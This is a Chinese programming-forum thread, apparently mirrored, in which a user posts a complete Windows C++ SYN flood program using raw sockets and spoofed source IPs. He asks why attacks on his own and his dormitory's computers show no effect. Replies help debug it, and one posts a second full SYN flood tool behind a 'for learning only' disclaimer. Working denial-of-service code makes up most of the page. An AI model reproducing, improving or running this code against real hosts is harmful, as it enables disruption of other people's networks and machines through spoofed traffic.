主頁 >  其他 > synflood沒有反應。。

synflood沒有反應。。

2020-09-23 20:56:49 其他

我用synflood攻擊自己的計算機,可是發現自己的機子毫無變化,攻擊我們宿舍的機子也是。。沒有反應,然后用netstat -an查了,發現根本沒有被攻擊的跡象,請各位大神幫看看怎么回事:


#define SEQ 0x28376839
#define SYN_DEST_IP "110.64.91.117"//被攻擊的IP
#define FAKE_IP "128.1.0.0" //偽裝IP的起始值,本程式的偽裝IP覆寫一個B類網段


#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <shellapi.h>
#include <iostream>
#include <cstring>
#include <fstream>
#pragma comment (lib,"ws2_32.lib")

using namespace std;



typedef struct _iphdr //定義IP首部

{

unsigned char h_verlen; //4位首部長度,4位IP版本號
unsigned char tos; //8位服務型別TOS
unsigned short total_len; //16位總長度(位元組)
unsigned short ident; //16位標識
unsigned short frag_and_flags; //3位標志位
unsigned char ttl; //8位生存時間 TTL
unsigned char proto; //8位協議 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校驗和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址

}IP_HEADER;

typedef struct _psdhdr//定義TCP偽首部

{
unsigned long saddr; //源地址
unsigned long daddr; //目的地址
char mbz;
char ptcl; //協議型別
unsigned short tcpl; //TCP長度

}PSD_HEADER;

typedef struct _tcphdr //定義TCP首部

{
USHORT th_sport; //16位源埠
USHORT th_dport; //16位目的埠
unsigned int th_seq; //32位序列號
unsigned int th_ack; //32位確認號
unsigned char th_lenres; //4位首部長度/6位保留字
unsigned char th_flag; //6位標志位
USHORT th_win; //16位視窗大小
USHORT th_sum; //16位校驗和
USHORT th_urp; //16位緊急資料偏移量

}TCP_HEADER;







USHORT checksum(USHORT*buffer, int size)
{
unsigned long cksum=0;
while(size>1)
{
cksum+=*buffer;
buffer++;
size-=sizeof(USHORT);
}
if (size==1)
{
cksum += *(UCHAR*)buffer;
}

cksum = (cksum>>16) + (cksum&0xffff); 
cksum += (cksum>>16); 
return (USHORT)(~cksum);

}





int main()
{
int TimeOut=3000;
int erroCode=0;
int SendSEQ=0; // 使用SEQ進行改變IP地址
WSADATA wsadata;
if (erroCode=WSAStartup(MAKEWORD(2,2),&wsadata)!=0)
{
cout<<"WSAStartup fail: "<<erroCode<<endl;
system("pause");
return 0;
}

//SOCKET rawS=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
SOCKET rawS=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (rawS==INVALID_SOCKET)
{
cout<<"socket fail: "<<GetLastError()<<endl;
system("pause");
return 0;
}

int flag=TRUE;

// 設定IP_HDRINCL以自己填充IP首部

erroCode=setsockopt(rawS,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if (erroCode==SOCKET_ERROR)
{
cout<<"raw socket option(IP_HDRINCL) error";
system("pause");
return 0;
}

// 設定超時時間

erroCode=setsockopt(rawS,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
if (erroCode==SOCKET_ERROR)
{
cout<<"raw socket option(SO_SNDTIMEO) error";
system("pause");
return 0;
}

// 獲得數值形式的偽ip地址的初始地址,為后面的相加運算(地址變換)做準備

int FakeIpHost=ntohl(inet_addr(FAKE_IP));

// 填充IP首部
IP_HEADER ip_header;

ip_header.h_verlen=(4<<4|sizeof(ip_header)/sizeof(unsigned long));   // 高4位存盤IPV4的版本號4,低四位首部長度(4位元組為單位)
ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER));
ip_header.ident=0;
ip_header.frag_and_flags=0;
ip_header.ttl=128;
ip_header.proto=IPPROTO_TCP;
ip_header.checksum=0;
ip_header.sourceIP=NULL;
ip_header.destIP=inet_addr(SYN_DEST_IP);

// 填充TCP首部
TCP_HEADER tcp_header;
tcp_header.th_sport=htons(7000);
tcp_header.th_dport=htons(8080);
tcp_header.th_seq=NULL;
tcp_header.th_ack=NULL;
tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);
tcp_header.th_flag=2;     // SYN標志
tcp_header.th_win=htons(16384); // 視窗大小
tcp_header.th_urp=0; 
tcp_header.th_sum=0; 

// 填充TCO偽首部
PSD_HEADER psd_header;
psd_header.saddr=ip_header.sourceIP;
psd_header.daddr=ip_header.destIP;
psd_header.mbz=0;
psd_header.ptcl=IPPROTO_TCP;
psd_header.tcpl=htons(sizeof(tcp_header));

while(true)
{
cout<<".";

for (int counter=0;counter<10240;counter++)
{
if(SendSEQ++==65536) 
SendSEQ=1; 

ip_header.checksum=0;
ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);

tcp_header.th_seq=htonl(SEQ+SendSEQ);
tcp_header.th_sum=0;

psd_header.saddr=ip_header.sourceIP;

char SendBuff[128]={0};

// 計算TCP校驗和,計算校驗和時需要包括TCP pseudo header

memcpy(SendBuff,&psd_header,sizeof(psd_header));
memcpy(SendBuff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
tcp_header.th_sum=checksum((USHORT *)SendBuff,sizeof(psd_header)+sizeof(tcp_header));


// 計算IP校驗和

memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
memset(SendBuff+sizeof(ip_header)+sizeof(tcp_header),0,4);          // 填寫option
int datasize=sizeof(ip_header)+sizeof(tcp_header);
ip_header.checksum=checksum((USHORT *)SendBuff,datasize);

// 填充發送緩沖區

memcpy(SendBuff,&ip_header,sizeof(ip_header));
memcpy(SendBuff+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

//發送TCP報文

struct sockaddr_in DestAddr;
DestAddr.sin_family=AF_INET;
DestAddr.sin_addr.S_un.S_addr=inet_addr(SYN_DEST_IP);

erroCode=sendto(rawS,SendBuff,datasize,0,(sockaddr*)&DestAddr,sizeof(DestAddr));

if (erroCode==SOCKET_ERROR)
cout<<"\nSend Error "<<GetLastError()<<endl;
}
}

}

uj5u.com熱心網友回復:

用你的代碼跑了下,編譯時,就發現你將NULL賦值給unsigned int型別的資料,編譯出錯。

修改后編譯通過,跑起來,輸出:Send Error 10004,即“一個封鎖操作被對 WSACancelBlockingCall 的呼叫中斷。 ”

uj5u.com熱心網友回復:

參考 1 樓 JoeBlackzqq 的回復:
用你的代碼跑了下,編譯時,就發現你將NULL賦值給unsigned int型別的資料,編譯出錯。

修改后編譯通過,跑起來,輸出:Send Error 10004,即“一個封鎖操作被對 WSACancelBlockingCall 的呼叫中斷。 ”


額?為什么我用vc2010是可以編譯通過的。。而且輸出了“.”了。。

uj5u.com熱心網友回復:

編譯的時候,那個是警告,不是錯誤,可能跟編譯選項或編譯器有關吧。

“.”我也能輸出的,但是接焉就是"Send Error 10004",不知道你是怎樣的運行情況!?

uj5u.com熱心網友回復:

參考 3 樓 JoeBlackzqq 的回復:
編譯的時候,那個是警告,不是錯誤,可能跟編譯選項或編譯器有關吧。

“.”我也能輸出的,但是接焉就是"Send Error 10004",不知道你是怎樣的運行情況!?


一直“.”沒有什么錯誤提示

uj5u.com熱心網友回復:

uj5u.com熱心網友回復:

宣告:只用于學習用途,不能違反朝庭歷法喲. 

/************************************************************************/
/* synFlood.h */    
/*     ( ??ω??) 當年今日 */
/************************************************************************/
typedef unsigned short ushort;
typedef unsigned long ulong;
typedef unsigned int uint;
typedef unsigned char uchar;

//ip首部
typedef struct ip_hdr 
{
uchar h_verlen; //4位首部長度,4位IP版本號
uchar tos; //8位服務型別TOS
ushort total_len; //16位總長度(位元組)
ushort ident; //16位標識
ushort frag_and_flags; //3位標志位(另外13位為片偏移)
uchar ttl; //8位生存時間 TTL
uchar protocols; //8位協議 (如ICMP,TCP等)
ushort chksum; //16位IP首部校驗和
uint sourceIP; //32位源IP地址
uint destIP; //32位目的IP地址
}IP_HDR;
//tcp首部
typedef struct tcp_hdr
{
ushort sourcePort;//16位源埠號
ushort destPort;//16位目的埠號
uint seq;//32位序號
uint ack;//32位確認序號
uchar h_lenres;//4位首部長度,6位保留
uchar flag; //6位標識
ushort win;//16位視窗大小
ushort chksum;//16位校驗和
ushort urgpoint;//16位緊急指標
}TCP_HDR;
//tcp偽首部,用于校驗和的計算
typedef struct pre_tcp_hdr
{
ulong sourceAddr; //32位源地址
ulong destAddr; //32位目的地址
char mbz;
uchar ptcl; //8位協議型別
ushort tcplen; //16位TCP長度
}PRE_HDR;


/************************************************************************/
/* synFlood.cpp */
/* ( ??ω??) 當今年日                                                        */
/************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <time.h>
#include <windows.h>
#include <string.h>
#include <WS2TCPIP.H>
#include "synFlood.h"

#define SLEEPTIME 10

SOCKET sock;
SOCKADDR_IN addr_in;
IP_HDR ipHdr;
TCP_HDR tcpHdr;
PRE_HDR preHdr;
int SourcePort;
char sendBuf[60]={0};
int rect;

#pragma comment(lib, "ws2_32.lib")

//計算校驗和的子函式
ushort chkSum(ushort *buffer, int size)
{
ulong cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(ushort);
}
if(size)
{
cksum += *(uchar*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (ushort)(~cksum);
}
//資料包首部填充
int dataFill(char * argv[])
{
srand((int)time(0));
//填充IP首部
ipHdr.h_verlen=(4<<4 | sizeof(ipHdr)/sizeof(ulong));
ipHdr.tos=0;
ipHdr.total_len=htons(sizeof(ipHdr)+sizeof(ipHdr)); //IP總長度
ipHdr.ident=1;
ipHdr.frag_and_flags=0; //無分片
ipHdr.ttl=(uchar)GetTickCount()%87+123;;
ipHdr.protocols=IPPROTO_TCP; // 協議型別為 TCP
ipHdr.chksum=0; //效驗位先初始為0
ipHdr.sourceIP=htonl(GetTickCount()*474695); //隨機產生一個偽造的源IP
ipHdr.destIP=inet_addr(argv[1]); //目標IP
//printf("%d\n\n",ipHdr.destIP);
//填充TCP首部
SourcePort=GetTickCount()*43557%9898; //隨機產生一個本機埠號
//printf("%d\n\n",SourcePort);
tcpHdr.destPort=htons(atoi(argv[2])); //目的埠
tcpHdr.sourcePort=htons(SourcePort); //源埠號
tcpHdr.seq=htonl(0x12345678); 
tcpHdr.ack=0; 
tcpHdr.h_lenres=(sizeof(tcpHdr)/4<<4|0);
tcpHdr.flag=2; //為SYN請求
tcpHdr.win=htons(512);//視窗大小
tcpHdr.urgpoint=0;
tcpHdr.chksum=0;

//填充TCP偽首部用來計算TCP頭部的效驗和
preHdr.sourceAddr=ipHdr.sourceIP;
preHdr.destAddr=ipHdr.destIP;
preHdr.mbz=0;
preHdr.ptcl=IPPROTO_TCP;
preHdr.tcplen=htons(sizeof(tcpHdr));//tcp協議長度

return true;
}
//發送資料
int sendData()
{
rect=sendto(sock, sendBuf, sizeof(ipHdr)+sizeof(tcpHdr), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%x",WSAGetLastError());
return false;
}else
printf("success send\n");
Sleep(SLEEPTIME);
return true;
}
int main(int argc,char *argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
BOOL flag;
//socket版本檢測
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("WSAStartup Error!");
return false;
}
if ( LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 2 ) {
printf("Could not find a usable WinSock DLL\n");
WSACleanup( );
return false; 
}
//輸入檢測
if (argc < 3 || argc >4 )

printf("input error!\n");
return false;
}
if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)//管理員權限才可以生成原始套接字
{
printf("Socket Error!\n");
return false;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!\n");
return false;
}
int nSendTime=30*1000; //設定超時時間
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nSendTime, sizeof(nSendTime))==SOCKET_ERROR) 
{
printf("setsockopt SO_SNDTIMEO error!\n");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));//目的埠
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);//目的ip
while(1)
{
dataFill(argv);
//利用tcp報頭與偽報頭計算校驗和
memcpy(sendBuf, &preHdr, sizeof(preHdr));
memcpy(sendBuf+sizeof(preHdr), &tcpHdr, sizeof(tcpHdr));
tcpHdr.chksum=chkSum((ushort *)sendBuf,sizeof(preHdr)+sizeof(tcpHdr));
//將偽造的ip報頭與tcp報頭封裝發送
memcpy(sendBuf, &ipHdr, sizeof(ipHdr));
memcpy(sendBuf+sizeof(ipHdr), &tcpHdr, sizeof(tcpHdr));
sendData();
}
closesocket(sock);
WSACleanup();

return 0;

}



uj5u.com熱心網友回復:

參考 7 樓 sinbas 的回復:
宣告:只用于學習用途,不能違反朝庭歷法喲. 

/************************************************************************/
/* synFlood.h */    
/*     ( ??ω??) 當年今日 */
/************************************************************************/
typedef unsigned short ushort;
typedef unsigned long ulong;
typedef unsigned int uint;
typedef unsigned char uchar;

//ip首部
typedef struct ip_hdr 
{
uchar h_verlen; //4位首部長度,4位IP版本號
uchar tos; //8位服務型別TOS
ushort total_len; //16位總長度(位元組)
ushort ident; //16位標識
ushort frag_and_flags; //3位標志位(另外13位為片偏移)
uchar ttl; //8位生存時間 TTL
uchar protocols; //8位協議 (如ICMP,TCP等)
ushort chksum; //16位IP首部校驗和
uint sourceIP; //32位源IP地址
uint destIP; //32位目的IP地址
}IP_HDR;
//tcp首部
typedef struct tcp_hdr
{
ushort sourcePort;//16位源埠號
ushort destPort;//16位目的埠號
uint seq;//32位序號
uint ack;//32位確認序號
uchar h_lenres;//4位首部長度,6位保留
uchar flag; //6位標識
ushort win;//16位視窗大小
ushort chksum;//16位校驗和
ushort urgpoint;//16位緊急指標
}TCP_HDR;
//tcp偽首部,用于校驗和的計算
typedef struct pre_tcp_hdr
{
ulong sourceAddr; //32位源地址
ulong destAddr; //32位目的地址
char mbz;
uchar ptcl; //8位協議型別
ushort tcplen; //16位TCP長度
}PRE_HDR;


/************************************************************************/
/* synFlood.cpp */
/* ( ??ω??) 當今年日                                                        */
/************************************************************************/
#include <stdio.h>
#include <winsock2.h>
#include <time.h>
#include <windows.h>
#include <string.h>
#include <WS2TCPIP.H>
#include "synFlood.h"

#define SLEEPTIME 10

SOCKET sock;
SOCKADDR_IN addr_in;
IP_HDR ipHdr;
TCP_HDR tcpHdr;
PRE_HDR preHdr;
int SourcePort;
char sendBuf[60]={0};
int rect;

#pragma comment(lib, "ws2_32.lib")

//計算校驗和的子函式
ushort chkSum(ushort *buffer, int size)
{
ulong cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(ushort);
}
if(size)
{
cksum += *(uchar*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (ushort)(~cksum);
}
//資料包首部填充
int dataFill(char * argv[])
{
srand((int)time(0));
//填充IP首部
ipHdr.h_verlen=(4<<4 | sizeof(ipHdr)/sizeof(ulong));
ipHdr.tos=0;
ipHdr.total_len=htons(sizeof(ipHdr)+sizeof(ipHdr)); //IP總長度
ipHdr.ident=1;
ipHdr.frag_and_flags=0; //無分片
ipHdr.ttl=(uchar)GetTickCount()%87+123;;
ipHdr.protocols=IPPROTO_TCP; // 協議型別為 TCP
ipHdr.chksum=0; //效驗位先初始為0
ipHdr.sourceIP=htonl(GetTickCount()*474695); //隨機產生一個偽造的源IP
ipHdr.destIP=inet_addr(argv[1]); //目標IP
//printf("%d\n\n",ipHdr.destIP);
//填充TCP首部
SourcePort=GetTickCount()*43557%9898; //隨機產生一個本機埠號
//printf("%d\n\n",SourcePort);
tcpHdr.destPort=htons(atoi(argv[2])); //目的埠
tcpHdr.sourcePort=htons(SourcePort); //源埠號
tcpHdr.seq=htonl(0x12345678); 
tcpHdr.ack=0; 
tcpHdr.h_lenres=(sizeof(tcpHdr)/4<<4|0);
tcpHdr.flag=2; //為SYN請求
tcpHdr.win=htons(512);//視窗大小
tcpHdr.urgpoint=0;
tcpHdr.chksum=0;

//填充TCP偽首部用來計算TCP頭部的效驗和
preHdr.sourceAddr=ipHdr.sourceIP;
preHdr.destAddr=ipHdr.destIP;
preHdr.mbz=0;
preHdr.ptcl=IPPROTO_TCP;
preHdr.tcplen=htons(sizeof(tcpHdr));//tcp協議長度

return true;
}
//發送資料
int sendData()
{
rect=sendto(sock, sendBuf, sizeof(ipHdr)+sizeof(tcpHdr), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
if (rect==SOCKET_ERROR)
{
printf("send error!:%x",WSAGetLastError());
return false;
}else
printf("success send\n");
Sleep(SLEEPTIME);
return true;
}
int main(int argc,char *argv[])
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
BOOL flag;
//socket版本檢測
wVersionRequested = MAKEWORD( 2, 2 );
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 ) {
printf("WSAStartup Error!");
return false;
}
if ( LOBYTE( wsaData.wVersion ) != 2 ||
        HIBYTE( wsaData.wVersion ) != 2 ) {
printf("Could not find a usable WinSock DLL\n");
WSACleanup( );
return false; 
}
//輸入檢測
if (argc < 3 || argc >4 )

printf("input error!\n");
return false;
}
if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)//管理員權限才可以生成原始套接字
{
printf("Socket Error!\n");
return false;
}
flag=true;
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!\n");
return false;
}
int nSendTime=30*1000; //設定超時時間
if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nSendTime, sizeof(nSendTime))==SOCKET_ERROR) 
{
printf("setsockopt SO_SNDTIMEO error!\n");
return false;
}
addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(atoi(argv[2]));//目的埠
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);//目的ip
while(1)
{
dataFill(argv);
//利用tcp報頭與偽報頭計算校驗和
memcpy(sendBuf, &preHdr, sizeof(preHdr));
memcpy(sendBuf+sizeof(preHdr), &tcpHdr, sizeof(tcpHdr));
tcpHdr.chksum=chkSum((ushort *)sendBuf,sizeof(preHdr)+sizeof(tcpHdr));
//將偽造的ip報頭與tcp報頭封裝發送
memcpy(sendBuf, &ipHdr, sizeof(ipHdr));
memcpy(sendBuf+sizeof(ipHdr), &tcpHdr, sizeof(tcpHdr));
sendData();
}
closesocket(sock);
WSACleanup();

return 0;

}







還是沒有效果啊。。

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/114419.html

標籤:網絡

上一篇:kvm灰過

下一篇:qemu monitor pmemsave 問題

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種:三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看,三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看,三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統,“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及:虛擬機CentOs下執行 yum -y install lrzsz命令,出現錯誤:鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示:其實很簡單,往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號, sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求,SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生, 2020-08-28 16:18:25 分類專欄: kail 網路安全 linux 文章標簽: linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么? 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼: #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘(北斗授時服務器)讓網路資料更精準

    北斗電力時鐘(北斗授時服務器)讓網路資料更精準 北斗電力時鐘(北斗授時服務器)讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年,資訊技術的得了快速發展,互聯網在逐漸普及,其在人們生活和生產中都得到了廣泛應用,并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用,一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub:https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺,后來才有了CTFHub。 感覺不論是網頁UI設計,還是題目質量,賽事跟蹤,工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解(net user / type /md /rd/ dir /cd /net use copy、批處理 等) 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝,密碼啊破解03Linux常用命令04LAMP 01LINUX windows: win03 8 12 16 19 配置不繁瑣 Linux:redhat,centos(紅帽社區版),Ubuntu server,suse unix:金融機構,證券,銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 (POST注入/XSS漏洞上傳)3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題,描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章,不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》,我也是第一時間得知了這個訊息,然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本: 個人認為這件事也沒什么,還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹:metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包,它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一,它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip:192.168.20.121 靶機ip:192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k,軟體測驗工程師的漲薪史,給我看哭了

    清明節一過,盲猜大家已經無心上班,在數著日子準備過五一,但一想到銀行卡里的余額……瞬間心情就不美麗了。最近,2023年高校畢業生就業調查顯示,本科畢業月平均起薪為5825元。調查一出,便有很多同學表示自己又被平均了。看著這一資料,不免讓人想到前不久中國青年報的一項調查:近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文,所以對學習母語的我們非常不友好 使用網址:https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜,前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜,自動化測驗的需求也越來越高。如今,自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分,它們可以幫助開發人員更快地發現和修復錯誤,提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐:4個DVPP記憶體問題的典型案例解讀

    摘要:由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求(例如,記憶體首地址128位元組對齊),因此需呼叫專用的記憶體申請介面,那么本期就分享幾個關于DVPP記憶體問題的典型案例,并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》,作者:昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊,輔助滲透(埠掃描、登錄密碼爆破、漏洞驗證等) 2、encoders 編碼器模塊,主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手:與相機連接,設定相機引數,采集影像 2) 標定助手:九點標定或是其它的標定,生成標定檔案及內參外參,可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客,先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp),這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接: https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more